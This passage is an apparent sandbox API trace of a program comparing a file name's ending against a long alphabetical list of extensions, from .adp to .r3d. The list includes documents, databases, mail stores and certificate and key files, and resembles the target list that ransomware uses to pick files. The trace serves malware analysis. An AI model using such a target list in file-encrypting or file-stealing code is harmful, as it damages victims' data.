(lpString1=".adp", lpString2=".xml") returned -1 [0090.757] lstrlenW (lpString=".ai") returned 3 [0090.757] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0090.757] lstrlenW (lpString=".ai3") returned 4 [0090.757] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0090.757] lstrlenW (lpString=".ai4") returned 4 [0090.757] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0090.757] lstrlenW (lpString=".ai5") returned 4 [0090.757] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0090.757] lstrlenW (lpString=".ai6") returned 4 [0090.757] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0090.757] lstrlenW (lpString=".ai7") returned 4 [0090.757] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0090.757] lstrlenW (lpString=".ai8") returned 4 [0090.757] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0090.757] lstrlenW (lpString=".anim") returned 5 [0090.757] lstrcmpiW (lpString1=".anim", lpString2="t.xml") returned -1 [0090.757] lstrlenW (lpString=".arw") returned 4 [0090.758] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0090.758] lstrlenW (lpString=".as") returned 3 [0090.758] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0090.758] lstrlenW (lpString=".asa") returned 4 [0090.758] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0090.758] lstrlenW (lpString=".asc") returned 4 [0090.758] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0090.758] lstrlenW (lpString=".ascx") returned 5 [0090.758] lstrcmpiW (lpString1=".ascx", lpString2="t.xml") returned -1 [0090.758] lstrlenW (lpString=".asm") returned 4 [0090.758] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0090.758] lstrlenW (lpString=".asmx") returned 5 [0090.758] lstrcmpiW (lpString1=".asmx", lpString2="t.xml") returned -1 [0090.758] lstrlenW (lpString=".asp") returned 4 [0090.758] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0090.758] lstrlenW (lpString=".aspx") returned 5 [0090.758] lstrcmpiW (lpString1=".aspx", lpString2="t.xml") returned -1 [0090.758] lstrlenW (lpString=".asr") returned 4 [0090.758] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0090.758] lstrlenW (lpString=".asx") returned 4 [0090.758] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0090.758] lstrlenW (lpString=".avi") returned 4 [0090.758] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0090.758] lstrlenW (lpString=".avs") returned 4 [0090.758] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0090.758] lstrlenW (lpString=".backup") returned 7 [0090.758] lstrcmpiW (lpString1=".backup", lpString2="ert.xml") returned -1 [0090.759] lstrlenW (lpString=".bak") returned 4 [0090.759] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0090.759] lstrlenW (lpString=".bay") returned 4 [0090.759] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0090.759] lstrlenW (lpString=".bd") returned 3 [0090.759] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0090.759] lstrlenW (lpString=".bin") returned 4 [0090.759] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0090.759] lstrlenW (lpString=".bmp") returned 4 [0090.759] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0090.759] lstrlenW (lpString=".bz2") returned 4 [0090.759] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0090.759] lstrlenW (lpString=".c") returned 2 [0090.759] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0090.759] lstrlenW (lpString=".cdr") returned 4 [0090.759] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0090.759] lstrlenW (lpString=".cer") returned 4 [0090.759] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0090.759] lstrlenW (lpString=".cf") returned 3 [0090.759] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0090.759] lstrlenW (lpString=".cfc") returned 4 [0090.759] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0090.759] lstrlenW (lpString=".cfm") returned 4 [0090.759] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0090.759] lstrlenW (lpString=".cfml") returned 5 [0090.759] lstrcmpiW (lpString1=".cfml", lpString2="t.xml") returned -1 [0090.759] lstrlenW (lpString=".cfu") returned 4 [0090.760] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0090.760] lstrlenW (lpString=".chm") returned 4 [0090.760] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0090.760] lstrlenW (lpString=".cin") returned 4 [0090.760] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0090.760] lstrlenW (lpString=".class") returned 6 [0090.760] lstrcmpiW (lpString1=".class", lpString2="rt.xml") returned -1 [0090.760] lstrlenW (lpString=".clx") returned 4 [0090.760] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0090.760] lstrlenW (lpString=".config") returned 7 [0090.760] lstrcmpiW (lpString1=".config", lpString2="ert.xml") returned -1 [0090.760] lstrlenW (lpString=".cpp") returned 4 [0090.760] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0090.760] lstrlenW (lpString=".cr2") returned 4 [0090.760] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0090.760] lstrlenW (lpString=".crt") returned 4 [0090.760] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0090.760] lstrlenW (lpString=".crw") returned 4 [0090.760] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0090.760] lstrlenW (lpString=".cs") returned 3 [0090.760] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0090.760] lstrlenW (lpString=".css") returned 4 [0090.760] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0090.760] lstrlenW (lpString=".csv") returned 4 [0090.760] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0090.760] lstrlenW (lpString=".cub") returned 4 [0090.760] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0090.761] lstrlenW (lpString=".dae") returned 4 [0090.761] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0090.761] lstrlenW (lpString=".dat") returned 4 [0090.761] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 [0090.761] lstrlenW (lpString=".db") returned 3 [0090.761] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0090.761] lstrlenW (lpString=".dbf") returned 4 [0090.761] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0090.761] lstrlenW (lpString=".dbx") returned 4 [0090.761] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0090.761] lstrlenW (lpString=".dc3") returned 4 [0090.761] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1 [0090.761] lstrlenW (lpString=".dcm") returned 4 [0090.761] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1 [0090.761] lstrlenW (lpString=".dcr") returned 4 [0090.761] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0090.761] lstrlenW (lpString=".der") returned 4 [0090.761] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0090.761] lstrlenW (lpString=".dib") returned 4 [0090.761] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 [0090.761] lstrlenW (lpString=".dic") returned 4 [0090.761] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0090.761] lstrlenW (lpString=".dif") returned 4 [0090.761] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0090.761] lstrlenW (lpString=".divx") returned 5 [0090.761] lstrcmpiW (lpString1=".divx", lpString2="t.xml") returned -1 [0090.762] lstrlenW (lpString=".djvu") returned 5 [0090.762] lstrcmpiW (lpString1=".djvu", lpString2="t.xml") returned -1 [0090.762] lstrlenW (lpString=".dng") returned 4 [0090.762] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0090.762] lstrlenW (lpString=".doc") returned 4 [0090.762] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0090.762] lstrlenW (lpString=".docm") returned 5 [0090.762] lstrcmpiW (lpString1=".docm", lpString2="t.xml") returned -1 [0090.762] lstrlenW (lpString=".docx") returned 5 [0090.762] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0090.762] lstrlenW (lpString=".dot") returned 4 [0090.762] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0090.762] lstrlenW (lpString=".dotm") returned 5 [0090.762] lstrcmpiW (lpString1=".dotm", lpString2="t.xml") returned -1 [0090.762] lstrlenW (lpString=".dotx") returned 5 [0090.762] lstrcmpiW (lpString1=".dotx", lpString2="t.xml") returned -1 [0090.762] lstrlenW (lpString=".dpx") returned 4 [0090.762] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0090.763] lstrlenW (lpString=".dqy") returned 4 [0090.763] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0090.763] lstrlenW (lpString=".dsn") returned 4 [0090.763] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0090.763] lstrlenW (lpString=".dt") returned 3 [0090.763] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0090.763] lstrlenW (lpString=".dtd") returned 4 [0090.763] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0090.763] lstrlenW (lpString=".dwg") returned 4 [0090.763] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0090.763] lstrlenW (lpString=".dwt") returned 4 [0090.763] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0090.763] lstrlenW (lpString=".dx") returned 3 [0090.763] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0090.763] lstrlenW (lpString=".dxf") returned 4 [0090.763] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0090.763] lstrlenW (lpString=".edml") returned 5 [0090.763] lstrcmpiW (lpString1=".edml", lpString2="t.xml") returned -1 [0090.763] lstrlenW (lpString=".efd") returned 4 [0090.763] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0090.763] lstrlenW (lpString=".elf") returned 4 [0090.763] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 [0090.763] lstrlenW (lpString=".emf") returned 4 [0090.763] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1 [0090.763] lstrlenW (lpString=".emz") returned 4 [0090.763] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0090.763] lstrlenW (lpString=".epf") returned 4 [0090.764] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0090.764] lstrlenW (lpString=".eps") returned 4 [0090.764] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1 [0090.764] lstrlenW (lpString=".epsf") returned 5 [0090.764] lstrcmpiW (lpString1=".epsf", lpString2="t.xml") returned -1 [0090.764] lstrlenW (lpString=".epsp") returned 5 [0090.764] lstrcmpiW (lpString1=".epsp", lpString2="t.xml") returned -1 [0090.764] lstrlenW (lpString=".erf") returned 4 [0090.764] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0090.764] lstrlenW (lpString=".exr") returned 4 [0090.764] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1 [0090.764] lstrlenW (lpString=".f4v") returned 4 [0090.764] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0090.764] lstrlenW (lpString=".fido") returned 5 [0090.764] lstrcmpiW (lpString1=".fido", lpString2="t.xml") returned -1 [0090.764] lstrlenW (lpString=".flm") returned 4 [0090.764] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0090.764] lstrlenW (lpString=".flv") returned 4 [0090.764] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1 [0090.764] lstrlenW (lpString=".frm") returned 4 [0090.764] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0090.764] lstrlenW (lpString=".fxg") returned 4 [0090.764] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0090.764] lstrlenW (lpString=".geo") returned 4 [0090.764] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0090.764] lstrlenW (lpString=".gif") returned 4 [0090.764] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0090.765] lstrlenW (lpString=".grs") returned 4 [0090.765] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0090.765] lstrlenW (lpString=".gz") returned 3 [0090.765] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0090.765] lstrlenW (lpString=".h") returned 2 [0090.765] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0090.765] lstrlenW (lpString=".hdr") returned 4 [0090.765] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0090.765] lstrlenW (lpString=".hpp") returned 4 [0090.765] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0090.765] lstrlenW (lpString=".hta") returned 4 [0090.765] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1 [0090.765] lstrlenW (lpString=".htc") returned 4 [0090.765] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1 [0090.765] lstrlenW (lpString=".htm") returned 4 [0090.765] lstrcmpiW (lpString1=".htm", lpString2=".xml") returned -1 [0090.765] lstrlenW (lpString=".html") returned 5 [0090.765] lstrcmpiW (lpString1=".html", lpString2="t.xml") returned -1 [0090.765] lstrlenW (lpString=".icb") returned 4 [0090.765] lstrcmpiW (lpString1=".icb", lpString2=".xml") returned -1 [0090.765] lstrlenW (lpString=".ics") returned 4 [0090.765] lstrcmpiW (lpString1=".ics", lpString2=".xml") returned -1 [0090.765] lstrlenW (lpString=".iff") returned 4 [0090.765] lstrcmpiW (lpString1=".iff", lpString2=".xml") returned -1 [0090.765] lstrlenW (lpString=".inc") returned 4 [0090.765] lstrcmpiW (lpString1=".inc", lpString2=".xml") returned -1 [0090.765] lstrlenW (lpString=".indd") returned 5 [0090.766] lstrcmpiW (lpString1=".indd", lpString2="t.xml") returned -1 [0090.766] lstrlenW (lpString=".ini") returned 4 [0090.766] lstrcmpiW (lpString1=".ini", lpString2=".xml") returned -1 [0090.766] lstrlenW (lpString=".iqy") returned 4 [0090.766] lstrcmpiW (lpString1=".iqy", lpString2=".xml") returned -1 [0090.766] lstrlenW (lpString=".j2c") returned 4 [0090.766] lstrcmpiW (lpString1=".j2c", lpString2=".xml") returned -1 [0090.766] lstrlenW (lpString=".j2k") returned 4 [0090.766] lstrcmpiW (lpString1=".j2k", lpString2=".xml") returned -1 [0090.766] lstrlenW (lpString=".java") returned 5 [0090.766] lstrcmpiW (lpString1=".java", lpString2="t.xml") returned -1 [0090.766] lstrlenW (lpString=".jp2") returned 4 [0090.766] lstrcmpiW (lpString1=".jp2", lpString2=".xml") returned -1 [0090.766] lstrlenW (lpString=".jpc") returned 4 [0090.766] lstrcmpiW (lpString1=".jpc", lpString2=".xml") returned -1 [0090.766] lstrlenW (lpString=".jpe") returned 4 [0090.766] lstrcmpiW (lpString1=".jpe", lpString2=".xml") returned -1 [0090.766] lstrlenW (lpString=".jpeg") returned 5 [0090.766] lstrcmpiW (lpString1=".jpeg", lpString2="t.xml") returned -1 [0090.766] lstrlenW (lpString=".jpf") returned 4 [0090.766] lstrcmpiW (lpString1=".jpf", lpString2=".xml") returned -1 [0090.766] lstrlenW (lpString=".jpg") returned 4 [0090.766] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0090.766] lstrlenW (lpString=".jpx") returned 4 [0090.766] lstrcmpiW (lpString1=".jpx", lpString2=".xml") returned -1 [0090.766] lstrlenW (lpString=".js") returned 3 [0090.767] lstrcmpiW (lpString1=".js", lpString2="xml") returned -1 [0090.767] lstrlenW (lpString=".jsf") returned 4 [0090.767] lstrcmpiW (lpString1=".jsf", lpString2=".xml") returned -1 [0090.767] lstrlenW (lpString=".json") returned 5 [0090.767] lstrcmpiW (lpString1=".json", lpString2="t.xml") returned -1 [0090.767] lstrlenW (lpString=".jsp") returned 4 [0090.767] lstrcmpiW (lpString1=".jsp", lpString2=".xml") returned -1 [0090.767] lstrlenW (lpString=".kdc") returned 4 [0090.767] lstrcmpiW (lpString1=".kdc", lpString2=".xml") returned -1 [0090.767] lstrlenW (lpString=".kmz") returned 4 [0090.767] lstrcmpiW (lpString1=".kmz", lpString2=".xml") returned -1 [0090.767] lstrlenW (lpString=".kwm") returned 4 [0090.767] lstrcmpiW (lpString1=".kwm", lpString2=".xml") returned -1 [0090.767] lstrlenW (lpString=".lasso") returned 6 [0090.767] lstrcmpiW (lpString1=".lasso", lpString2="rt.xml") returned -1 [0090.767] lstrlenW (lpString=".lbi") returned 4 [0090.767] lstrcmpiW (lpString1=".lbi", lpString2=".xml") returned -1 [0090.767] lstrlenW (lpString=".lgf") returned 4 [0090.767] lstrcmpiW (lpString1=".lgf", lpString2=".xml") returned -1 [0090.767] lstrlenW (lpString=".lgp") returned 4 [0090.767] lstrcmpiW (lpString1=".lgp", lpString2=".xml") returned -1 [0090.767] lstrlenW (lpString=".log") returned 4 [0090.767] lstrcmpiW (lpString1=".log", lpString2=".xml") returned -1 [0090.768] lstrlenW (lpString=".m1v") returned 4 [0090.768] lstrcmpiW (lpString1=".m1v", lpString2=".xml") returned -1 [0090.768] lstrlenW (lpString=".m4a") returned 4 [0090.768] lstrcmpiW (lpString1=".m4a", lpString2=".xml") returned -1 [0090.768] lstrlenW (lpString=".m4v") returned 4 [0090.768] lstrcmpiW (lpString1=".m4v", lpString2=".xml") returned -1 [0090.768] lstrlenW (lpString=".max") returned 4 [0090.768] lstrcmpiW (lpString1=".max", lpString2=".xml") returned -1 [0090.768] lstrlenW (lpString=".md") returned 3 [0090.768] lstrcmpiW (lpString1=".md", lpString2="xml") returned -1 [0090.768] lstrlenW (lpString=".mda") returned 4 [0090.768] lstrcmpiW (lpString1=".mda", lpString2=".xml") returned -1 [0090.768] lstrlenW (lpString=".mdb") returned 4 [0090.768] lstrcmpiW (lpString1=".mdb", lpString2=".xml") returned -1 [0090.768] lstrlenW (lpString=".mde") returned 4 [0090.768] lstrcmpiW (lpString1=".mde", lpString2=".xml") returned -1 [0090.768] lstrlenW (lpString=".mdf") returned 4 [0090.768] lstrcmpiW (lpString1=".mdf", lpString2=".xml") returned -1 [0090.768] lstrlenW (lpString=".mdw") returned 4 [0090.768] lstrcmpiW (lpString1=".mdw", lpString2=".xml") returned -1 [0090.768] lstrlenW (lpString=".mef") returned 4 [0090.768] lstrcmpiW (lpString1=".mef", lpString2=".xml") returned -1 [0090.768] lstrlenW (lpString=".mft") returned 4 [0090.768] lstrcmpiW (lpString1=".mft", lpString2=".xml") returned -1 [0090.769] lstrlenW (lpString=".mfw") returned 4 [0090.769] lstrcmpiW (lpString1=".mfw", lpString2=".xml") returned -1 [0090.769] lstrlenW (lpString=".mht") returned 4 [0090.769] lstrcmpiW (lpString1=".mht", lpString2=".xml") returned -1 [0090.769] lstrlenW (lpString=".mhtml") returned 6 [0090.769] lstrcmpiW (lpString1=".mhtml", lpString2="rt.xml") returned -1 [0090.769] lstrlenW (lpString=".mka") returned 4 [0090.769] lstrcmpiW (lpString1=".mka", lpString2=".xml") returned -1 [0090.769] lstrlenW (lpString=".mkidx") returned 6 [0090.769] lstrcmpiW (lpString1=".mkidx", lpString2="rt.xml") returned -1 [0090.769] lstrlenW (lpString=".mkv") returned 4 [0090.769] lstrcmpiW (lpString1=".mkv", lpString2=".xml") returned -1 [0090.769] lstrlenW (lpString=".mos") returned 4 [0090.769] lstrcmpiW (lpString1=".mos", lpString2=".xml") returned -1 [0090.769] lstrlenW (lpString=".mov") returned 4 [0090.769] lstrcmpiW (lpString1=".mov", lpString2=".xml") returned -1 [0090.769] lstrlenW (lpString=".mp3") returned 4 [0090.769] lstrcmpiW (lpString1=".mp3", lpString2=".xml") returned -1 [0090.769] lstrlenW (lpString=".mp4") returned 4 [0090.770] lstrcmpiW (lpString1=".mp4", lpString2=".xml") returned -1 [0090.770] lstrlenW (lpString=".mpeg") returned 5 [0090.770] lstrcmpiW (lpString1=".mpeg", lpString2="t.xml") returned -1 [0090.770] lstrlenW (lpString=".mpg") returned 4 [0090.770] lstrcmpiW (lpString1=".mpg", lpString2=".xml") returned -1 [0090.770] lstrlenW (lpString=".mpv") returned 4 [0090.770] lstrcmpiW (lpString1=".mpv", lpString2=".xml") returned -1 [0090.770] lstrlenW (lpString=".mrw") returned 4 [0090.770] lstrcmpiW (lpString1=".mrw", lpString2=".xml") returned -1 [0090.770] lstrlenW (lpString=".msg") returned 4 [0090.770] lstrcmpiW (lpString1=".msg", lpString2=".xml") returned -1 [0090.770] lstrlenW (lpString=".mxl") returned 4 [0090.770] lstrcmpiW (lpString1=".mxl", lpString2=".xml") returned -1 [0090.770] lstrlenW (lpString=".myd") returned 4 [0090.770] lstrcmpiW (lpString1=".myd", lpString2=".xml") returned -1 [0090.770] lstrlenW (lpString=".myi") returned 4 [0090.770] lstrcmpiW (lpString1=".myi", lpString2=".xml") returned -1 [0090.771] lstrlenW (lpString=".nef") returned 4 [0090.771] lstrcmpiW (lpString1=".nef", lpString2=".xml") returned -1 [0090.771] lstrlenW (lpString=".nrw") returned 4 [0090.771] lstrcmpiW (lpString1=".nrw", lpString2=".xml") returned -1 [0090.771] lstrlenW (lpString=".obj") returned 4 [0090.771] lstrcmpiW (lpString1=".obj", lpString2=".xml") returned -1 [0090.771] lstrlenW (lpString=".odb") returned 4 [0090.771] lstrcmpiW (lpString1=".odb", lpString2=".xml") returned -1 [0090.771] lstrlenW (lpString=".odc") returned 4 [0090.771] lstrcmpiW (lpString1=".odc", lpString2=".xml") returned -1 [0090.771] lstrlenW (lpString=".odm") returned 4 [0090.771] lstrcmpiW (lpString1=".odm", lpString2=".xml") returned -1 [0090.771] lstrlenW (lpString=".odp") returned 4 [0090.771] lstrcmpiW (lpString1=".odp", lpString2=".xml") returned -1 [0090.771] lstrlenW (lpString=".ods") returned 4 [0090.771] lstrcmpiW (lpString1=".ods", lpString2=".xml") returned -1 [0090.771] lstrlenW (lpString=".oft") returned 4 [0090.771] lstrcmpiW (lpString1=".oft", lpString2=".xml") returned -1 [0090.772] lstrlenW (lpString=".one") returned 4 [0090.772] lstrcmpiW (lpString1=".one", lpString2=".xml") returned -1 [0090.772] lstrlenW (lpString=".onepkg") returned 7 [0090.772] lstrcmpiW (lpString1=".onepkg", lpString2="ert.xml") returned -1 [0090.772] lstrlenW (lpString=".onetoc2") returned 8 [0090.772] lstrcmpiW (lpString1=".onetoc2", lpString2="sert.xml") returned -1 [0090.772] lstrlenW (lpString=".opt") returned 4 [0090.772] lstrcmpiW (lpString1=".opt", lpString2=".xml") returned -1 [0090.772] lstrlenW (lpString=".oqy") returned 4 [0090.772] lstrcmpiW (lpString1=".oqy", lpString2=".xml") returned -1 [0090.772] lstrlenW (lpString=".orf") returned 4 [0090.772] lstrcmpiW (lpString1=".orf", lpString2=".xml") returned -1 [0090.773] lstrlenW (lpString=".p12") returned 4 [0090.773] lstrcmpiW (lpString1=".p12", lpString2=".xml") returned -1 [0090.773] lstrlenW (lpString=".p7b") returned 4 [0090.773] lstrcmpiW (lpString1=".p7b", lpString2=".xml") returned -1 [0090.773] lstrlenW (lpString=".p7c") returned 4 [0090.773] lstrcmpiW (lpString1=".p7c", lpString2=".xml") returned -1 [0090.773] lstrlenW (lpString=".pam") returned 4 [0090.773] lstrcmpiW (lpString1=".pam", lpString2=".xml") returned -1 [0090.773] lstrlenW (lpString=".pbm") returned 4 [0090.773] lstrcmpiW (lpString1=".pbm", lpString2=".xml") returned -1 [0090.773] lstrlenW (lpString=".pct") returned 4 [0090.773] lstrcmpiW (lpString1=".pct", lpString2=".xml") returned -1 [0090.773] lstrlenW (lpString=".pcx") returned 4 [0090.773] lstrcmpiW (lpString1=".pcx", lpString2=".xml") returned -1 [0090.773] lstrlenW (lpString=".pdd") returned 4 [0090.773] lstrcmpiW (lpString1=".pdd", lpString2=".xml") returned -1 [0090.773] lstrlenW (lpString=".pdf") returned 4 [0090.773] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0090.774] lstrlenW (lpString=".pdp") returned 4 [0090.774] lstrcmpiW (lpString1=".pdp", lpString2=".xml") returned -1 [0090.774] lstrlenW (lpString=".pef") returned 4 [0090.774] lstrcmpiW (lpString1=".pef", lpString2=".xml") returned -1 [0090.774] lstrlenW (lpString=".pem") returned 4 [0090.774] lstrcmpiW (lpString1=".pem", lpString2=".xml") returned -1 [0090.774] lstrlenW (lpString=".pff") returned 4 [0090.774] lstrcmpiW (lpString1=".pff", lpString2=".xml") returned -1 [0090.774] lstrlenW (lpString=".pfm") returned 4 [0090.774] lstrcmpiW (lpString1=".pfm", lpString2=".xml") returned -1 [0090.774] lstrlenW (lpString=".pfx") returned 4 [0090.774] lstrcmpiW (lpString1=".pfx", lpString2=".xml") returned -1 [0090.774] lstrlenW (lpString=".pgm") returned 4 [0090.774] lstrcmpiW (lpString1=".pgm", lpString2=".xml") returned -1 [0090.774] lstrlenW (lpString=".php") returned 4 [0090.774] lstrcmpiW (lpString1=".php", lpString2=".xml") returned -1 [0090.774] lstrlenW (lpString=".php3") returned 5 [0090.774] lstrcmpiW (lpString1=".php3", lpString2="t.xml") returned -1 [0090.774] lstrlenW (lpString=".php4") returned 5 [0090.774] lstrcmpiW (lpString1=".php4", lpString2="t.xml") returned -1 [0090.774] lstrlenW (lpString=".php5") returned 5 [0090.774] lstrcmpiW (lpString1=".php5", lpString2="t.xml") returned -1 [0090.774] lstrlenW (lpString=".phtml") returned 6 [0090.774] lstrcmpiW (lpString1=".phtml", lpString2="rt.xml") returned -1 [0090.775] lstrlenW (lpString=".pict") returned 5 [0090.775] lstrcmpiW (lpString1=".pict", lpString2="t.xml") returned -1 [0090.775] lstrlenW (lpString=".pl") returned 3 [0090.775] lstrcmpiW (lpString1=".pl", lpString2="xml") returned -1 [0090.775] lstrlenW (lpString=".pls") returned 4 [0090.775] lstrcmpiW (lpString1=".pls", lpString2=".xml") returned -1 [0090.775] lstrlenW (lpString=".pm") returned 3 [0090.775] lstrcmpiW (lpString1=".pm", lpString2="xml") returned -1 [0090.775] lstrlenW (lpString=".png") returned 4 [0090.775] lstrcmpiW (lpString1=".png", lpString2=".xml") returned -1 [0090.775] lstrlenW (lpString=".pnm") returned 4 [0090.775] lstrcmpiW (lpString1=".pnm", lpString2=".xml") returned -1 [0090.775] lstrlenW (lpString=".pot") returned 4 [0090.775] lstrcmpiW (lpString1=".pot", lpString2=".xml") returned -1 [0090.775] lstrlenW (lpString=".potm") returned 5 [0090.775] lstrcmpiW (lpString1=".potm", lpString2="t.xml") returned -1 [0090.775] lstrlenW (lpString=".potx") returned 5 [0090.775] lstrcmpiW (lpString1=".potx", lpString2="t.xml") returned -1 [0090.775] lstrlenW (lpString=".ppa") returned 4 [0090.775] lstrcmpiW (lpString1=".ppa", lpString2=".xml") returned -1 [0090.775] lstrlenW (lpString=".ppam") returned 5 [0090.775] lstrcmpiW (lpString1=".ppam", lpString2="t.xml") returned -1 [0090.775] lstrlenW (lpString=".ppm") returned 4 [0090.775] lstrcmpiW (lpString1=".ppm", lpString2=".xml") returned -1 [0090.775] lstrlenW (lpString=".pps") returned 4 [0090.775] lstrcmpiW (lpString1=".pps", lpString2=".xml") returned -1 [0090.775] lstrlenW (lpString=".ppsm") returned 5 [0090.775] lstrcmpiW (lpString1=".ppsm", lpString2="t.xml") returned -1 [0090.776] lstrlenW (lpString=".ppt") returned 4 [0090.776] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0090.776] lstrlenW (lpString=".pptm") returned 5 [0090.776] lstrcmpiW (lpString1=".pptm", lpString2="t.xml") returned -1 [0090.776] lstrlenW (lpString=".pptx") returned 5 [0090.776] lstrcmpiW (lpString1=".pptx", lpString2="t.xml") returned -1 [0090.776] lstrlenW (lpString=".prn") returned 4 [0090.776] lstrcmpiW (lpString1=".prn", lpString2=".xml") returned -1 [0090.776] lstrlenW (lpString=".ps") returned 3 [0090.776] lstrcmpiW (lpString1=".ps", lpString2="xml") returned -1 [0090.776] lstrlenW (lpString=".psb") returned 4 [0090.776] lstrcmpiW (lpString1=".psb", lpString2=".xml") returned -1 [0090.776] lstrlenW (lpString=".psd") returned 4 [0090.776] lstrcmpiW (lpString1=".psd", lpString2=".xml") returned -1 [0090.776] lstrlenW (lpString=".pst") returned 4 [0090.776] lstrcmpiW (lpString1=".pst", lpString2=".xml") returned -1 [0090.776] lstrlenW (lpString=".ptx") returned 4 [0090.776] lstrcmpiW (lpString1=".ptx", lpString2=".xml") returned -1 [0090.776] lstrlenW (lpString=".pub") returned 4 [0090.776] lstrcmpiW (lpString1=".pub", lpString2=".xml") returned -1 [0090.776] lstrlenW (lpString=".pwm") returned 4 [0090.776] lstrcmpiW (lpString1=".pwm", lpString2=".xml") returned -1 [0090.776] lstrlenW (lpString=".pxr") returned 4 [0090.776] lstrcmpiW (lpString1=".pxr", lpString2=".xml") returned -1 [0090.776] lstrlenW (lpString=".py") returned 3 [0090.776] lstrcmpiW (lpString1=".py", lpString2="xml") returned -1 [0090.776] lstrlenW (lpString=".qt") returned 3 [0090.777] lstrcmpiW (lpString1=".qt", lpString2="xml") returned -1 [0090.777] lstrlenW (lpString=".r3d") returned 4 [0090.777] lstrcmpiW 